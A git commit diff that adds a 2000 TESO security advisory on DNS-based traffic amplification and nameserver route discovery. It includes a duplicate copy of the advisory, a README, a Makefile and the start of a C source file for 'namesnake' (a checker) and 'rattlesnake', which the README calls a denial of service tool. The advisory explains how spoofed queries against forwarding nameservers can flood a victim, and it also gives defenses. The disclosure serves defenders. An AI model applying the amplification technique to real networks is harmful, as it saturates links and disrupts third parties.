diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /advisories/teso-advisory-003 | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'advisories/teso-advisory-003')
17 files changed, 3546 insertions, 0 deletions
diff --git a/advisories/teso-advisory-003/advisory-003.txt b/advisories/teso-advisory-003/advisory-003.txt new file mode 100644 index 0000000..be6bc78 --- /dev/null +++ b/advisories/teso-advisory-003/advisory-003.txt | |||
| @@ -0,0 +1,258 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 02/11/2000 | ||
| 6 | |||
| 7 | Nameserver traffic amplify (DNS Smurf) and NS Route discovery (DNS Traceroute) | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | Nameservers which accept and forward external DNS queries may be abused | ||
| 14 | as traffic amplifiers, exposing a possible threat to network integrity | ||
| 15 | by bandwidth saturation (DNS Smurf). | ||
| 16 | |||
| 17 | A "deaf" pseudo nameserver may be used to discover the query chain a | ||
| 18 | DNS query takes through various nameservers, allowing to make a trace- | ||
| 19 | route like route discovery (DNS Traceroute). | ||
| 20 | |||
| 21 | |||
| 22 | Systems Affected | ||
| 23 | =================== | ||
| 24 | |||
| 25 | All type of nameservers which accept external queries. Especially those, | ||
| 26 | which forward the queries to other nameservers or those which have | ||
| 27 | excessive retry attempt values. The common value is to try three times, | ||
| 28 | but we have observed misconfigured servers which tried more then 20 times | ||
| 29 | sending out a query packet. | ||
| 30 | |||
| 31 | Note that this attack is completely different from the DNS Smurf attack | ||
| 32 | discovered by s0ftpr0ject [4], however, it exploits weaknesses in default | ||
| 33 | BIND [6] configurations too. | ||
| 34 | |||
| 35 | |||
| 36 | Tests | ||
| 37 | =================== | ||
| 38 | |||
| 39 | The following data is an except from initial tests we have conducted | ||
| 40 | against some vulnerable nameserver. | ||
| 41 | |||
| 42 | 08:07:24.943598 ns2.domain > victim.domain: 15121 (35) | ||
| 43 | 08:07:32.747253 ns3.domain > victim.domain: 8536 (35) | ||
| 44 | 08:07:32.832604 ns2.domain > victim.domain: 15121 (35) | ||
| 45 | 08:07:39.819289 ns3.domain > victim.domain: 8536 (35) | ||
| 46 | 08:07:40.670228 ns1.1025 > victim.domain: 56483 (35) | ||
| 47 | 08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 48 | 08:07:48.928981 ns2.domain > victim.domain: 15121 (35) | ||
| 49 | 08:07:52.669825 ns1.1025 > victim.domain: 56483 (35) | ||
| 50 | 08:07:56.107063 ns3.domain > victim.domain: 8536 (35) | ||
| 51 | 08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 52 | 08:08:04.938187 ns6.domain > victim.domain: 26706 (35) | ||
| 53 | 08:08:12.372097 ns5.2187 > victim.domain: 2352 (35) | ||
| 54 | 08:08:13.826464 ns6.domain > victim.domain: 26706 (35) | ||
| 55 | 08:08:16.669021 ns1.1025 > victim.domain: 56483 (35) | ||
| 56 | 08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 57 | 08:08:24.365990 ns5.2187 > victim.domain: 2352 (35) | ||
| 58 | 08:08:30.873233 ns6.domain > victim.domain: 26706 (35) | ||
| 59 | 08:08:32.658479 ns1.domain > querier.1025: 298 ServFail 0/0/0 (35) | ||
| 60 | 08:08:48.369725 ns5.2187 > victim.domain: 2352 (35) | ||
| 61 | |||
| 62 | The initial DNS query packet had a size of 35 bytes, although packets | ||
| 63 | up to a size of 500 bytes are possible. | ||
| 64 | As you can see there are five nameservers who indirectly got the query, | ||
| 65 | which was send by "querier" (query packet not displayed). The first name- | ||
| 66 | server that got queried was "ns1". | ||
| 67 | |||
| 68 | The query is forwarded to five other nameservers, so all together there are | ||
| 69 | six nameservers which try to resolve the query domain. If the query domain | ||
| 70 | is a normal existent domain name, the authoritative nameserver will answer | ||
| 71 | promptly and the answer is returned to the original query host. | ||
| 72 | |||
| 73 | This is the normal case. However, if there is an authoritative nameserver | ||
| 74 | which does not respond to the queries send to it, all nameservers will | ||
| 75 | retry to resolve the domain by sending out the query packet, assuming the | ||
| 76 | UDP packet they have previously sent got lost. | ||
| 77 | Because all six nameservers do this, this results in a traffic amplify | ||
| 78 | with factor 18 (18 packets send for each attacker packet). | ||
| 79 | |||
| 80 | Through testing a few hundred nameservers on this vulnerability we quickly | ||
| 81 | found nameservers which will amplify with ratios well beyond 30, sometimes | ||
| 82 | even exceeding 50. | ||
| 83 | |||
| 84 | |||
| 85 | Impact | ||
| 86 | =================== | ||
| 87 | |||
| 88 | By abusing multiple nameserver-chains as traffic amplifiers an attacker can | ||
| 89 | easily saturate any network link. The traffic to the victim IP is caused by | ||
| 90 | the query packets which are sent by each nameserver in the nameserver-chain | ||
| 91 | to the fake authoritative nameserver in the victim network. | ||
| 92 | |||
| 93 | For the last few years denial of service (DoS) attacks that are based on | ||
| 94 | bandwidth saturation have always been a problem. A few years ago, when the | ||
| 95 | Smurf ICMP denial of service attack got publicly known nearly everyone was | ||
| 96 | able to saturate any link by abusing other networks as a traffic amplifier. | ||
| 97 | Since then numerous amplify attacks have been discovered, such as [3] and | ||
| 98 | [4], the original posting of the Smurf attack is [5]. | ||
| 99 | |||
| 100 | Any method that allows an attacker to amplify his traffic can be abused for | ||
| 101 | a denial of service attack. | ||
| 102 | |||
| 103 | |||
| 104 | Explanation | ||
| 105 | =================== | ||
| 106 | |||
| 107 | When a nameserver receives a query, most nameservers usually just start | ||
| 108 | forwarding the query to some other nameserver. There can be quite a long | ||
| 109 | path of forwarding queries. However if the query is not resolvable | ||
| 110 | because there is no nameserver listening on the remote host, every | ||
| 111 | forwarding nameserver will start to resolve it on their own, by querying | ||
| 112 | the authoritative nameserver themselves. In the default configuration each | ||
| 113 | nameserver will send the query three times, after 0, 12 and 24 seconds, | ||
| 114 | ymmv. | ||
| 115 | |||
| 116 | This can be used to discover the path of nameservers. To do this an | ||
| 117 | attacker would query the first nameserver for a domain he can see the | ||
| 118 | packets on, at best the domain points to the query host itself. Then he | ||
| 119 | would record all nameservers that send out a packet to himself. After | ||
| 120 | having done this he would try with another nameserver of the ones he got | ||
| 121 | queries from. In the best case he will receive queries from all hosts | ||
| 122 | but one missing. The missing one is the first host in the route. After | ||
| 123 | having reduced the list by one he will start over with the reduced list | ||
| 124 | until there is only one nameserver remaining, which is the last in the | ||
| 125 | querying chain. | ||
| 126 | |||
| 127 | Through seeking especially long paths, where a lot of nameservers are | ||
| 128 | queried, this can be abused as a traffic amplify bandwidth attack, as shown | ||
| 129 | above. | ||
| 130 | |||
| 131 | Since the important entries such as the NS entry is in the cache of each | ||
| 132 | nameserver after the first query, the attack is very fast pacing after the | ||
| 133 | first query, since no additional packets are sent to the attacker and the | ||
| 134 | attacker may spoof the UDP query packets. If the attacker is clever he | ||
| 135 | would use a very short lifetime for his NS entry, while using a long | ||
| 136 | lifetime for the victim subdomain. After the first query succeeded he will | ||
| 137 | just shut his nameserver down and send out spoofed query packets at a very | ||
| 138 | fast rate. | ||
| 139 | |||
| 140 | |||
| 141 | Solution | ||
| 142 | =================== | ||
| 143 | |||
| 144 | "Defense is the best Offense" - said by a wise person. By protecting your | ||
| 145 | own nameservers against being abused by attackers you secure other sites at | ||
| 146 | the same time. If you run BIND [6] nameservers in your network please care | ||
| 147 | to read basic BIND configuration tutorials and especially documents on how | ||
| 148 | to secure your BIND configuration [7]. | ||
| 149 | |||
| 150 | Also notice that you may fall victim to the same attack, if only one | ||
| 151 | nameserver in your network is vulnerable -- That means if only one | ||
| 152 | server is accepting queries for external domains from strangers, this | ||
| 153 | nameserver inside your network will send out trusted queries to other | ||
| 154 | nameservers in your network, and hence can be abused too. | ||
| 155 | |||
| 156 | By taking more generic measures against being the originator network of | ||
| 157 | denial of service attacks, such as improving your overall network security, | ||
| 158 | you contribute to the security of all other networks in the Internet too. | ||
| 159 | I urge you to subscribe to a security related mailing list, such as | ||
| 160 | Bugtraq [8] or, if you cannot afford the time necessary to read such a | ||
| 161 | list, at least subscribe to the CERT list [9]. | ||
| 162 | |||
| 163 | In general there is no foolproof method to avoid getting a victim of a DNS | ||
| 164 | Smurf. But what can you do if you get attacked ? | ||
| 165 | |||
| 166 | To think of the correct response we have to think of why this attack works. | ||
| 167 | It works because other nameservers try to query a non-existent nameserver | ||
| 168 | in your network and don't get any response, hence retrying again. To just | ||
| 169 | filter DNS traffic to this IP is only of little use as a short-time | ||
| 170 | measure. Instead setting up a bogus DNS server on the victim IP address, | ||
| 171 | which replies with bogus answers to any query it receives will reduce the | ||
| 172 | impact of the attack. | ||
| 173 | |||
| 174 | However the real cause for the attack is still the number of misconfigured | ||
| 175 | DNS servers out there, which accept queries for external domains from | ||
| 176 | strangers. Another reason is the unreliable transport protocol which makes | ||
| 177 | it impossible for the nameserver to notice the unreachability of the remote | ||
| 178 | victim nameserver. | ||
| 179 | |||
| 180 | |||
| 181 | Acknowledgments | ||
| 182 | ================ | ||
| 183 | |||
| 184 | The bug discovery and the demonstration programs is due to TESO [1]. | ||
| 185 | |||
| 186 | This advisory has been written by scut and hendy. | ||
| 187 | The tests and further analysis were done by scut. | ||
| 188 | The demonstration exploit has been written by scut. | ||
| 189 | |||
| 190 | |||
| 191 | Contact Information | ||
| 192 | =================== | ||
| 193 | |||
| 194 | The TESO crew can be reached by mailing to teso@shellcode.org. | ||
| 195 | Our web page is at http://teso.scene.at/ | ||
| 196 | |||
| 197 | |||
| 198 | References | ||
| 199 | =================== | ||
| 200 | |||
| 201 | [1] TESO | ||
| 202 | http://teso.scene.at/ | ||
| 203 | |||
| 204 | [2] Packetfactory | ||
| 205 | http://www.packetfactory.net/ | ||
| 206 | |||
| 207 | [3] The "MAC DoS Attack", a x37 traffic amplify attack | ||
| 208 | posted on Bugtraq Mailing List 12/28/1999, discovered by John Copeland | ||
| 209 | |||
| 210 | [4] DNS Smurf (through query/answer ratio) | ||
| 211 | s0ftpr0ject Security Advisory SPJ-002-000, July 19, 1999 | ||
| 212 | posted on Bugtraq Mailing List 07/30/1999, discovered by scacco | ||
| 213 | |||
| 214 | [5] ICMP ECHO Requests to Broadcast addresses (ICMP Smurf attack) | ||
| 215 | posted on Bugtraq Mailing List 07/19/1997, posting by Edward Henigin | ||
| 216 | |||
| 217 | [6] BIND nameserver software - Internet Software Consortium | ||
| 218 | http://www.isc.org/ | ||
| 219 | |||
| 220 | [7] Securing Domain Name Service | ||
| 221 | Article on securityportal.com security related website | ||
| 222 | http://securityportal.com/cover/coverstory19990621.html | ||
| 223 | |||
| 224 | [8] Bugtraq Mailing List | ||
| 225 | http://www.securityfocus.com/about/feedback/subscribe-bugtraq.html | ||
| 226 | |||
| 227 | [9] CERT Mailing List | ||
| 228 | http://www.cert.org/contact_cert/certmaillist.html | ||
| 229 | |||
| 230 | |||
| 231 | |||
| 232 | Disclaimer | ||
| 233 | =================== | ||
| 234 | |||
| 235 | This advisory does not claim to be complete or to be usable for any | ||
| 236 | purpose. Especially information on the vulnerable systems may be | ||
| 237 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 238 | purposes, but for educational purposes only. | ||
| 239 | |||
| 240 | This advisory is free for open distribution in unmodified form. | ||
| 241 | Articles that are based on information from this advisory should include | ||
| 242 | link [1]. | ||
| 243 | |||
| 244 | |||
| 245 | Exploit | ||
| 246 | =================== | ||
| 247 | |||
| 248 | We've created a working demonstration program to exploit the vulnerability. | ||
| 249 | The program needs Libnet, a low level network library installed, which can | ||
| 250 | be obtained through [2]. | ||
| 251 | |||
| 252 | The exploit is available from | ||
| 253 | |||
| 254 | http://teso.scene.at/ | ||
| 255 | |||
| 256 | ------ | ||
| 257 | |||
| 258 | |||
diff --git a/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz b/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz new file mode 100644 index 0000000..637bedc --- /dev/null +++ b/advisories/teso-advisory-003/namesnake-0.0.2.tar.gz | |||
| Binary files differ | |||
diff --git a/advisories/teso-advisory-003/namesnake/README b/advisories/teso-advisory-003/namesnake/README new file mode 100644 index 0000000..448e2a3 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/README | |||
| @@ -0,0 +1,20 @@ | |||
| 1 | rattlesnake and namesnake | ||
| 2 | by team teso | ||
| 3 | |||
| 4 | read the advisory in doc/ before asking stupid questions. | ||
| 5 | |||
| 6 | namesnake is a tool to check whether a nameserver can be abused as a traffic | ||
| 7 | amplifier. it is not fast, in fact it is very slow. i could've done it very | ||
| 8 | fast, but since you are only going to check your local servers anyway, you | ||
| 9 | shouldn't care, do you ? | ||
| 10 | |||
| 11 | rattlesnake is a denial of service attack tool used to produce queries. | ||
| 12 | usage should be obvious, if not reread the advisory. | ||
| 13 | |||
| 14 | btw, for the compilation, you have to have libnet 1.x installed. the | ||
| 15 | compilation errors (random/srandom) are caused by invalid libnet headers, | ||
| 16 | i hope they will be fixed soon, so don't bug me about it. | ||
| 17 | |||
| 18 | regards, | ||
| 19 | scut / teso | ||
| 20 | |||
diff --git a/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt b/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt new file mode 100644 index 0000000..be6bc78 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/doc/advisory-003.txt | |||
| @@ -0,0 +1,258 @@ | |||
| 1 | |||
| 2 | ------ | ||
| 3 | |||
| 4 | TESO Security Advisory | ||
| 5 | 02/11/2000 | ||
| 6 | |||
| 7 | Nameserver traffic amplify (DNS Smurf) and NS Route discovery (DNS Traceroute) | ||
| 8 | |||
| 9 | |||
| 10 | Summary | ||
| 11 | =================== | ||
| 12 | |||
| 13 | Nameservers which accept and forward external DNS queries may be abused | ||
| 14 | as traffic amplifiers, exposing a possible threat to network integrity | ||
| 15 | by bandwidth saturation (DNS Smurf). | ||
| 16 | |||
| 17 | A "deaf" pseudo nameserver may be used to discover the query chain a | ||
| 18 | DNS query takes through various nameservers, allowing to make a trace- | ||
| 19 | route like route discovery (DNS Traceroute). | ||
| 20 | |||
| 21 | |||
| 22 | Systems Affected | ||
| 23 | =================== | ||
| 24 | |||
| 25 | All type of nameservers which accept external queries. Especially those, | ||
| 26 | which forward the queries to other nameservers or those which have | ||
| 27 | excessive retry attempt values. The common value is to try three times, | ||
| 28 | but we have observed misconfigured servers which tried more then 20 times | ||
| 29 | sending out a query packet. | ||
| 30 | |||
| 31 | Note that this attack is completely different from the DNS Smurf attack | ||
| 32 | discovered by s0ftpr0ject [4], however, it exploits weaknesses in default | ||
| 33 | BIND [6] configurations too. | ||
| 34 | |||
| 35 | |||
| 36 | Tests | ||
| 37 | =================== | ||
| 38 | |||
| 39 | The following data is an except from initial tests we have conducted | ||
| 40 | against some vulnerable nameserver. | ||
| 41 | |||
| 42 | 08:07:24.943598 ns2.domain > victim.domain: 15121 (35) | ||
| 43 | 08:07:32.747253 ns3.domain > victim.domain: 8536 (35) | ||
| 44 | 08:07:32.832604 ns2.domain > victim.domain: 15121 (35) | ||
| 45 | 08:07:39.819289 ns3.domain > victim.domain: 8536 (35) | ||
| 46 | 08:07:40.670228 ns1.1025 > victim.domain: 56483 (35) | ||
| 47 | 08:07:44.405556 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 48 | 08:07:48.928981 ns2.domain > victim.domain: 15121 (35) | ||
| 49 | 08:07:52.669825 ns1.1025 > victim.domain: 56483 (35) | ||
| 50 | 08:07:56.107063 ns3.domain > victim.domain: 8536 (35) | ||
| 51 | 08:07:56.471586 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 52 | 08:08:04.938187 ns6.domain > victim.domain: 26706 (35) | ||
| 53 | 08:08:12.372097 ns5.2187 > victim.domain: 2352 (35) | ||
| 54 | 08:08:13.826464 ns6.domain > victim.domain: 26706 (35) | ||
| 55 | 08:08:16.669021 ns1.1025 > victim.domain: 56483 (35) | ||
| 56 | 08:08:20.603050 ns4.domain > victim.domain: 5306 (35) (DF) | ||
| 57 | 08:08:24.365990 ns5.2187 > victim.domain: 2352 (35) | ||
| 58 | 08:08:30.873233 ns6.domain > victim.domain: 26706 (35) | ||
| 59 | 08:08:32.658479 ns1.domain > querier.1025: 298 ServFail 0/0/0 (35) | ||
| 60 | 08:08:48.369725 ns5.2187 > victim.domain: 2352 (35) | ||
| 61 | |||
| 62 | The initial DNS query packet had a size of 35 bytes, although packets | ||
| 63 | up to a size of 500 bytes are possible. | ||
| 64 | As you can see there are five nameservers who indirectly got the query, | ||
| 65 | which was send by "querier" (query packet not displayed). The first name- | ||
| 66 | server that got queried was "ns1". | ||
| 67 | |||
| 68 | The query is forwarded to five other nameservers, so all together there are | ||
| 69 | six nameservers which try to resolve the query domain. If the query domain | ||
| 70 | is a normal existent domain name, the authoritative nameserver will answer | ||
| 71 | promptly and the answer is returned to the original query host. | ||
| 72 | |||
| 73 | This is the normal case. However, if there is an authoritative nameserver | ||
| 74 | which does not respond to the queries send to it, all nameservers will | ||
| 75 | retry to resolve the domain by sending out the query packet, assuming the | ||
| 76 | UDP packet they have previously sent got lost. | ||
| 77 | Because all six nameservers do this, this results in a traffic amplify | ||
| 78 | with factor 18 (18 packets send for each attacker packet). | ||
| 79 | |||
| 80 | Through testing a few hundred nameservers on this vulnerability we quickly | ||
| 81 | found nameservers which will amplify with ratios well beyond 30, sometimes | ||
| 82 | even exceeding 50. | ||
| 83 | |||
| 84 | |||
| 85 | Impact | ||
| 86 | =================== | ||
| 87 | |||
| 88 | By abusing multiple nameserver-chains as traffic amplifiers an attacker can | ||
| 89 | easily saturate any network link. The traffic to the victim IP is caused by | ||
| 90 | the query packets which are sent by each nameserver in the nameserver-chain | ||
| 91 | to the fake authoritative nameserver in the victim network. | ||
| 92 | |||
| 93 | For the last few years denial of service (DoS) attacks that are based on | ||
| 94 | bandwidth saturation have always been a problem. A few years ago, when the | ||
| 95 | Smurf ICMP denial of service attack got publicly known nearly everyone was | ||
| 96 | able to saturate any link by abusing other networks as a traffic amplifier. | ||
| 97 | Since then numerous amplify attacks have been discovered, such as [3] and | ||
| 98 | [4], the original posting of the Smurf attack is [5]. | ||
| 99 | |||
| 100 | Any method that allows an attacker to amplify his traffic can be abused for | ||
| 101 | a denial of service attack. | ||
| 102 | |||
| 103 | |||
| 104 | Explanation | ||
| 105 | =================== | ||
| 106 | |||
| 107 | When a nameserver receives a query, most nameservers usually just start | ||
| 108 | forwarding the query to some other nameserver. There can be quite a long | ||
| 109 | path of forwarding queries. However if the query is not resolvable | ||
| 110 | because there is no nameserver listening on the remote host, every | ||
| 111 | forwarding nameserver will start to resolve it on their own, by querying | ||
| 112 | the authoritative nameserver themselves. In the default configuration each | ||
| 113 | nameserver will send the query three times, after 0, 12 and 24 seconds, | ||
| 114 | ymmv. | ||
| 115 | |||
| 116 | This can be used to discover the path of nameservers. To do this an | ||
| 117 | attacker would query the first nameserver for a domain he can see the | ||
| 118 | packets on, at best the domain points to the query host itself. Then he | ||
| 119 | would record all nameservers that send out a packet to himself. After | ||
| 120 | having done this he would try with another nameserver of the ones he got | ||
| 121 | queries from. In the best case he will receive queries from all hosts | ||
| 122 | but one missing. The missing one is the first host in the route. After | ||
| 123 | having reduced the list by one he will start over with the reduced list | ||
| 124 | until there is only one nameserver remaining, which is the last in the | ||
| 125 | querying chain. | ||
| 126 | |||
| 127 | Through seeking especially long paths, where a lot of nameservers are | ||
| 128 | queried, this can be abused as a traffic amplify bandwidth attack, as shown | ||
| 129 | above. | ||
| 130 | |||
| 131 | Since the important entries such as the NS entry is in the cache of each | ||
| 132 | nameserver after the first query, the attack is very fast pacing after the | ||
| 133 | first query, since no additional packets are sent to the attacker and the | ||
| 134 | attacker may spoof the UDP query packets. If the attacker is clever he | ||
| 135 | would use a very short lifetime for his NS entry, while using a long | ||
| 136 | lifetime for the victim subdomain. After the first query succeeded he will | ||
| 137 | just shut his nameserver down and send out spoofed query packets at a very | ||
| 138 | fast rate. | ||
| 139 | |||
| 140 | |||
| 141 | Solution | ||
| 142 | =================== | ||
| 143 | |||
| 144 | "Defense is the best Offense" - said by a wise person. By protecting your | ||
| 145 | own nameservers against being abused by attackers you secure other sites at | ||
| 146 | the same time. If you run BIND [6] nameservers in your network please care | ||
| 147 | to read basic BIND configuration tutorials and especially documents on how | ||
| 148 | to secure your BIND configuration [7]. | ||
| 149 | |||
| 150 | Also notice that you may fall victim to the same attack, if only one | ||
| 151 | nameserver in your network is vulnerable -- That means if only one | ||
| 152 | server is accepting queries for external domains from strangers, this | ||
| 153 | nameserver inside your network will send out trusted queries to other | ||
| 154 | nameservers in your network, and hence can be abused too. | ||
| 155 | |||
| 156 | By taking more generic measures against being the originator network of | ||
| 157 | denial of service attacks, such as improving your overall network security, | ||
| 158 | you contribute to the security of all other networks in the Internet too. | ||
| 159 | I urge you to subscribe to a security related mailing list, such as | ||
| 160 | Bugtraq [8] or, if you cannot afford the time necessary to read such a | ||
| 161 | list, at least subscribe to the CERT list [9]. | ||
| 162 | |||
| 163 | In general there is no foolproof method to avoid getting a victim of a DNS | ||
| 164 | Smurf. But what can you do if you get attacked ? | ||
| 165 | |||
| 166 | To think of the correct response we have to think of why this attack works. | ||
| 167 | It works because other nameservers try to query a non-existent nameserver | ||
| 168 | in your network and don't get any response, hence retrying again. To just | ||
| 169 | filter DNS traffic to this IP is only of little use as a short-time | ||
| 170 | measure. Instead setting up a bogus DNS server on the victim IP address, | ||
| 171 | which replies with bogus answers to any query it receives will reduce the | ||
| 172 | impact of the attack. | ||
| 173 | |||
| 174 | However the real cause for the attack is still the number of misconfigured | ||
| 175 | DNS servers out there, which accept queries for external domains from | ||
| 176 | strangers. Another reason is the unreliable transport protocol which makes | ||
| 177 | it impossible for the nameserver to notice the unreachability of the remote | ||
| 178 | victim nameserver. | ||
| 179 | |||
| 180 | |||
| 181 | Acknowledgments | ||
| 182 | ================ | ||
| 183 | |||
| 184 | The bug discovery and the demonstration programs is due to TESO [1]. | ||
| 185 | |||
| 186 | This advisory has been written by scut and hendy. | ||
| 187 | The tests and further analysis were done by scut. | ||
| 188 | The demonstration exploit has been written by scut. | ||
| 189 | |||
| 190 | |||
| 191 | Contact Information | ||
| 192 | =================== | ||
| 193 | |||
| 194 | The TESO crew can be reached by mailing to teso@shellcode.org. | ||
| 195 | Our web page is at http://teso.scene.at/ | ||
| 196 | |||
| 197 | |||
| 198 | References | ||
| 199 | =================== | ||
| 200 | |||
| 201 | [1] TESO | ||
| 202 | http://teso.scene.at/ | ||
| 203 | |||
| 204 | [2] Packetfactory | ||
| 205 | http://www.packetfactory.net/ | ||
| 206 | |||
| 207 | [3] The "MAC DoS Attack", a x37 traffic amplify attack | ||
| 208 | posted on Bugtraq Mailing List 12/28/1999, discovered by John Copeland | ||
| 209 | |||
| 210 | [4] DNS Smurf (through query/answer ratio) | ||
| 211 | s0ftpr0ject Security Advisory SPJ-002-000, July 19, 1999 | ||
| 212 | posted on Bugtraq Mailing List 07/30/1999, discovered by scacco | ||
| 213 | |||
| 214 | [5] ICMP ECHO Requests to Broadcast addresses (ICMP Smurf attack) | ||
| 215 | posted on Bugtraq Mailing List 07/19/1997, posting by Edward Henigin | ||
| 216 | |||
| 217 | [6] BIND nameserver software - Internet Software Consortium | ||
| 218 | http://www.isc.org/ | ||
| 219 | |||
| 220 | [7] Securing Domain Name Service | ||
| 221 | Article on securityportal.com security related website | ||
| 222 | http://securityportal.com/cover/coverstory19990621.html | ||
| 223 | |||
| 224 | [8] Bugtraq Mailing List | ||
| 225 | http://www.securityfocus.com/about/feedback/subscribe-bugtraq.html | ||
| 226 | |||
| 227 | [9] CERT Mailing List | ||
| 228 | http://www.cert.org/contact_cert/certmaillist.html | ||
| 229 | |||
| 230 | |||
| 231 | |||
| 232 | Disclaimer | ||
| 233 | =================== | ||
| 234 | |||
| 235 | This advisory does not claim to be complete or to be usable for any | ||
| 236 | purpose. Especially information on the vulnerable systems may be | ||
| 237 | inaccurate or wrong. The supplied exploit is not to be used for malicious | ||
| 238 | purposes, but for educational purposes only. | ||
| 239 | |||
| 240 | This advisory is free for open distribution in unmodified form. | ||
| 241 | Articles that are based on information from this advisory should include | ||
| 242 | link [1]. | ||
| 243 | |||
| 244 | |||
| 245 | Exploit | ||
| 246 | =================== | ||
| 247 | |||
| 248 | We've created a working demonstration program to exploit the vulnerability. | ||
| 249 | The program needs Libnet, a low level network library installed, which can | ||
| 250 | be obtained through [2]. | ||
| 251 | |||
| 252 | The exploit is available from | ||
| 253 | |||
| 254 | http://teso.scene.at/ | ||
| 255 | |||
| 256 | ------ | ||
| 257 | |||
| 258 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/Makefile b/advisories/teso-advisory-003/namesnake/src/Makefile new file mode 100644 index 0000000..5981e52 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/Makefile | |||
| @@ -0,0 +1,16 @@ | |||
| 1 | CFLAGS=-Wall -ggdb `libnet-config --defines` | ||
| 2 | LIBS=-lnet | ||
| 3 | CC=gcc | ||
| 4 | OBJS=common.o dns-build.o dns.o io-udp.o network.o | ||
| 5 | |||
| 6 | all: namesnake rattlesnake | ||
| 7 | |||
| 8 | clean: | ||
| 9 | rm -f *.o namesnake rattlesnake | ||
| 10 | |||
| 11 | rattlesnake: rattlesnake.c $(OBJS) | ||
| 12 | $(CC) $(CFLAGS) -static -o rattlesnake rattlesnake.c $(OBJS) $(LIBS) | ||
| 13 | |||
| 14 | namesnake: namesnake.c $(OBJS) | ||
| 15 | $(CC) $(CFLAGS) -o namesnake namesnake.c $(OBJS) $(LIBS) | ||
| 16 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/common.c b/advisories/teso-advisory-003/namesnake/src/common.c new file mode 100644 index 0000000..36391ad --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/common.c | |||
| @@ -0,0 +1,372 @@ | |||
| 1 | |||
| 2 | #include <sys/types.h> | ||
| 3 | #include <sys/wait.h> | ||
| 4 | #include <sys/time.h> | ||
| 5 | #include <netinet/in.h> | ||
| 6 | #include <unistd.h> | ||
| 7 | #include <time.h> | ||
| 8 | #include <stdarg.h> | ||
| 9 | #include <stdio.h> | ||
| 10 | #include <string.h> | ||
| 11 | #include <stdlib.h> | ||
| 12 | #include <unistd.h> | ||
| 13 | #include "common.h" | ||
| 14 | |||
| 15 | |||
| 16 | #ifdef DEBUG | ||
| 17 | void | ||
| 18 | debugp (char *filename, const char *str, ...) | ||
| 19 | { | ||
| 20 | FILE *fp; /* temporary file pointer */ | ||
| 21 | va_list vl; | ||
| 22 | |||
| 23 | fp = fopen (filename, "a"); | ||
| 24 | if (fp == NULL) | ||
| 25 | return; | ||
| 26 | |||
| 27 | va_start (vl, str); | ||
| 28 | vfprintf (fp, str, vl); | ||
| 29 | va_end (vl); | ||
| 30 | |||
| 31 | fclose (fp); | ||
| 32 | |||
| 33 | return; | ||
| 34 | } | ||
| 35 | |||
| 36 | void | ||
| 37 | hexdump (char *filename, unsigned char *data, unsigned int amount) | ||
| 38 | { | ||
| 39 | FILE *fp; /* temporary file pointer */ | ||
| 40 | unsigned int dp, p; /* data pointer */ | ||
| 41 | const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" | ||
| 42 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 43 | "nopqrstuvwxyz{|}~...................................." | ||
| 44 | "....................................................." | ||
| 45 | "........................................"; | ||
| 46 | |||
| 47 | fp = fopen (filename, "a"); | ||
| 48 | if (fp == NULL) | ||
| 49 | return; | ||
| 50 | |||
| 51 | fprintf (fp, "\n-packet-\n"); | ||
| 52 | |||
| 53 | for (dp = 1; dp <= amount; dp++) { | ||
| 54 | fprintf (fp, "%02x ", data[dp-1]); | ||
| 55 | if ((dp % 8) == 0) | ||
| 56 | fprintf (fp, " "); | ||
| 57 | if ((dp % 16) == 0) { | ||
| 58 | fprintf (fp, "| "); | ||
| 59 | p = dp; | ||
| 60 | for (dp -= 16; dp < p; dp++) | ||
| 61 | fprintf (fp, "%c", trans[data[dp]]); | ||
| 62 | fflush (fp); | ||
| 63 | fprintf (fp, "\n"); | ||
| 64 | } | ||
| 65 | fflush (fp); | ||
| 66 | } | ||
| 67 | if ((amount % 16) != 0) { | ||
| 68 | p = dp = 16 - (amount % 16); | ||
| 69 | for (dp = p; dp > 0; dp--) { | ||
| 70 | fprintf (fp, " "); | ||
| 71 | if (((dp % 8) == 0) && (p != 8)) | ||
| 72 | fprintf (fp, " "); | ||
| 73 | fflush (fp); | ||
| 74 | } | ||
| 75 | fprintf (fp, " | "); | ||
| 76 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 77 | fprintf (fp, "%c", trans[data[dp]]); | ||
| 78 | fflush (fp); | ||
| 79 | } | ||
| 80 | fprintf (fp, "\n"); | ||
| 81 | |||
| 82 | fclose (fp); | ||
| 83 | return; | ||
| 84 | } | ||
| 85 | |||
| 86 | #endif | ||
| 87 | |||
| 88 | |||
| 89 | char ** | ||
| 90 | file_read (char *filename) | ||
| 91 | { | ||
| 92 | char buf[2048]; | ||
| 93 | FILE *fp; | ||
| 94 | char **line_array = NULL; | ||
| 95 | int ac = 0; | ||
| 96 | char *c_p; | ||
| 97 | |||
| 98 | fp = fopen (filename, "r"); | ||
| 99 | if (fp == NULL) | ||
| 100 | return (NULL); | ||
| 101 | |||
| 102 | memset (buf, '\0', sizeof (buf)); | ||
